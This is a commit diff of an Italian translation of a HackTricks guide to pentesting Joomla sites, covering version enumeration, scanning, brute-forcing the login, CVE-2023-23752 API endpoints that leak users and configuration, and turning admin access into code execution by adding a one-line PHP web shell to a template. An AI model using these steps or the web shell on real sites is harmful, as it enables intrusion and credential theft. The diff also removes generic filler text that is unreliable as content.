Translated ['network-services-pentesting/pentesting-web/joomla.md'] to i

This commit is contained in:
Translator 2024-04-10 11:57:13 +00:00
parent cf12719937
commit 1e55dbb87e

View file

@ -2,19 +2,19 @@
<details>
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata in HackTricks**? O vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la **tua azienda pubblicizzata su HackTricks**? o vuoi avere accesso all'**ultima versione del PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR al [repo hacktricks](https://github.com/carlospolop/hacktricks) e al [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR al [repo di hacktricks](https://github.com/carlospolop/hacktricks) e al [repo di hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>
### Statistiche di Joomla
Joomla raccoglie alcune [statistiche sull'utilizzo](https://developer.joomla.org/about/stats.html) come la suddivisione delle versioni di Joomla, PHP e del database e i sistemi operativi del server utilizzati nelle installazioni di Joomla. Questi dati possono essere interrogati tramite la loro [API](https://developer.joomla.org/about/stats/api.html) pubblica.
Joomla raccoglie alcune [statistiche sull'uso](https://developer.joomla.org/about/stats.html) anonime come la suddivisione delle versioni di Joomla, PHP e del database e i sistemi operativi del server in uso nelle installazioni di Joomla. Questi dati possono essere interrogati tramite la loro [API](https://developer.joomla.org/about/stats/api.html).
```bash
curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
@ -44,39 +44,15 @@ curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool
```
## Enumerazione
### Scoperta/Rilevamento
### Scoperta/Footing
* Controlla i **meta**
* Controlla il **meta**
```bash
curl https://www.joomla.org/ | grep Joomla | grep generator
<meta name="generator" content="Joomla! - Open Source Content Management" />
```
# robots.txt
Il file `robots.txt` è un file di testo utilizzato dai motori di ricerca per determinare quali pagine o directory di un sito web possono essere indicizzate. Questo file viene posizionato nella radice del sito web e contiene istruzioni per i crawler dei motori di ricerca.
## Struttura del file robots.txt
Il file `robots.txt` è composto da una serie di direttive che specificano quali pagine o directory devono essere escluse o consentite ai motori di ricerca. Le direttive sono organizzate nel seguente modo:
```
User-agent: [nome del crawler]
Disallow: [directory o pagina da escludere]
Allow: [directory o pagina da consentire]
```
## Esempi di direttive
Ecco alcuni esempi di direttive comuni utilizzate nel file `robots.txt`:
- `User-agent: *` indica che la direttiva si applica a tutti i crawler dei motori di ricerca.
- `Disallow: /directory/` impedisce ai crawler di accedere a una specifica directory.
- `Allow: /directory/pagina.html` consente ai crawler di accedere a una specifica pagina all'interno di una directory esclusa.
## Importanza del file robots.txt nella sicurezza
Il file `robots.txt` può essere utilizzato anche per nascondere informazioni sensibili o directory che non dovrebbero essere accessibili pubblicamente. Tuttavia, è importante notare che il file `robots.txt` non fornisce una protezione completa e non dovrebbe essere utilizzato come unico meccanismo di sicurezza. Altre misure di sicurezza, come l'autenticazione e l'autorizzazione, devono essere implementate per proteggere adeguatamente il sito web.
* robots.txt
```
# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
@ -87,60 +63,6 @@ Il file `robots.txt` può essere utilizzato anche per nascondere informazioni se
[...]
```
* README.txt
# Joomla
Joomla è un sistema di gestione dei contenuti (CMS) molto popolare utilizzato per creare e gestire siti web. Come qualsiasi altro CMS, Joomla può essere vulnerabile a diverse tecniche di attacco. In questa sezione, esploreremo alcune delle tecniche di pentesting utilizzate per testare la sicurezza di un sito Joomla.
## Enumerazione
La fase di enumerazione è il primo passo nel processo di pentesting di un sito Joomla. L'obiettivo è raccogliere informazioni sul sito, come versione di Joomla, estensioni installate e utenti registrati. Queste informazioni possono essere utilizzate per identificare potenziali vulnerabilità e punti deboli nel sistema.
### Enumerazione della versione di Joomla
Per determinare la versione di Joomla in esecuzione su un sito, è possibile utilizzare diversi metodi. Uno dei modi più comuni è cercare nel codice sorgente del sito o nelle intestazioni HTTP per trovare indizi sulla versione di Joomla utilizzata.
Un altro metodo è utilizzare strumenti di enumerazione automatica come Joomscan o Joomlavs. Questi strumenti possono eseguire una scansione del sito e restituire informazioni sulla versione di Joomla e sulle estensioni installate.
### Enumerazione delle estensioni
Le estensioni di Joomla, come i plugin e i componenti, possono essere vulnerabili a diverse tecniche di attacco. Pertanto, è importante identificare le estensioni installate su un sito Joomla durante la fase di enumerazione.
Un modo per enumerare le estensioni è utilizzare strumenti di enumerazione automatica come Joomscan o Joomlavs. Questi strumenti possono eseguire una scansione del sito e restituire informazioni sulle estensioni installate.
### Enumerazione degli utenti
Durante la fase di enumerazione, è anche importante identificare gli utenti registrati su un sito Joomla. Queste informazioni possono essere utilizzate per identificare potenziali account deboli o vulnerabili.
Un modo per enumerare gli utenti è utilizzare strumenti di enumerazione automatica come Joomscan o Joomlavs. Questi strumenti possono eseguire una scansione del sito e restituire informazioni sugli utenti registrati.
## Vulnerabilità comuni
Una volta completata la fase di enumerazione, è possibile identificare potenziali vulnerabilità nel sito Joomla. Alcune delle vulnerabilità comuni includono:
- Cross-Site Scripting (XSS): consentono agli attaccanti di eseguire codice JavaScript malevolo sul sito.
- SQL Injection: consentono agli attaccanti di eseguire comandi SQL non autorizzati sul database del sito.
- Remote File Inclusion (RFI): consentono agli attaccanti di includere file remoti sul sito.
- Local File Inclusion (LFI): consentono agli attaccanti di includere file locali sul sito.
- Directory Traversal: consentono agli attaccanti di accedere a file e directory al di fuori della directory web root.
## Exploiting
Una volta identificate le vulnerabilità, è possibile sfruttarle per ottenere l'accesso non autorizzato al sito Joomla. Questo può includere l'esecuzione di codice arbitrario, l'accesso al database o l'ottenimento di privilegi amministrativi.
Per sfruttare le vulnerabilità, è possibile utilizzare strumenti di hacking come Metasploit o Burp Suite. Questi strumenti forniscono una serie di moduli e script che possono essere utilizzati per automatizzare il processo di exploit.
## Prevenzione
Per proteggere un sito Joomla dalle vulnerabilità, è importante seguire alcune best practice di sicurezza, come:
- Mantenere sempre aggiornato Joomla e le sue estensioni.
- Utilizzare password complesse per gli account amministrativi.
- Limitare l'accesso ai file di configurazione sensibili.
- Impostare correttamente i permessi dei file e delle directory.
- Utilizzare un firewall per filtrare il traffico indesiderato.
Seguendo queste best practice, è possibile ridurre significativamente il rischio di compromissione del sito Joomla.
```
1- What is this?
* This is a Joomla! installation/upgrade package to version 3.x
@ -148,19 +70,29 @@ Seguendo queste best practice, è possibile ridurre significativamente il rischi
* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging
```
### Versione
### Version
* In **/administrator/manifests/files/joomla.xml** puoi vedere la versione.
* In **/language/en-GB/en-GB.xml** puoi ottenere la versione di Joomla.
* In **plugins/system/cache/cache.xml** puoi vedere una versione approssimativa.
### Automatico
### Automatic
```bash
droopescan scan joomla --url http://joomla-site.local/
```
In[ **80,443 - Metodologia di Pentesting Web è una sezione sugli scanner CMS**](./#cms-scanners) che possono scansionare Joomla.
In **80,443 - Metodologia di Pentesting Web è una sezione sui CMS scanners** che possono scansionare Joomla.
### Brute-Force
### Divulgazione non autenticata delle informazioni dell'API:
Le versioni da 4.0.0 a 4.2.7 sono vulnerabili alla divulgazione non autenticata delle informazioni (CVE-2023-23752) che consentirà di scaricare credenziali e altre informazioni.
* Utenti: `http://<host>/api/v1/users?public=true`
* File di configurazione: `http://<host>/api/index.php/v1/config/application?public=true`
**Modulo MSF**: `scanner/http/joomla_api_improper_access_checks` o script ruby: [51334](https://www.exploit-db.com/exploits/51334)
### Forza bruta
Puoi utilizzare questo [script](https://github.com/ajnik/joomla-bruteforce) per tentare un attacco di forza bruta al login.
```shell-session
@ -168,25 +100,13 @@ sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasplo
admin:admin
```
## RCE (Esecuzione Remota di Codice)
## RCE
Se sei riuscito a ottenere le **credenziali dell'amministratore**, puoi eseguire un **RCE all'interno di esse** aggiungendo un frammento di **codice PHP** per ottenere l'esecuzione remota di codice. Possiamo fare ciò **personalizzando** un **template**.
Se sei riuscito a ottenere le **credenziali admin** puoi eseguire **RCE al suo interno** aggiungendo un frammento di **codice PHP** per ottenere **RCE**. Possiamo farlo **personalizzando** un **template**.
1. **Clicca** su **`Templates`** in basso a sinistra sotto `Configuration` per accedere al menu dei template.
1. **Clicca** su **`Templates`** in basso a sinistra sotto `Configuration` per visualizzare il menu dei template.
2. **Clicca** su un nome di **template**. Scegliamo **`protostar`** sotto l'intestazione della colonna `Template`. Questo ci porterà alla pagina **`Templates: Customise`**.
3. Infine, puoi cliccare su una pagina per visualizzare il **codice sorgente**. Scegliamo la pagina **`error.php`**. Aggiungeremo una **riga di codice PHP per ottenere l'esecuzione del codice** come segue:
3. Infine, puoi fare clic su una pagina per visualizzare il **codice sorgente**. Scegliamo la pagina **`error.php`**. Aggiungeremo una **riga di codice PHP per eseguire il codice** come segue:
1. **`system($_GET['cmd']);`**
4. **Salva e Chiudi**
5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id`
<details>
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata su HackTricks**? O vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR al [repo hacktricks](https://github.com/carlospolop/hacktricks) e al [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
</details>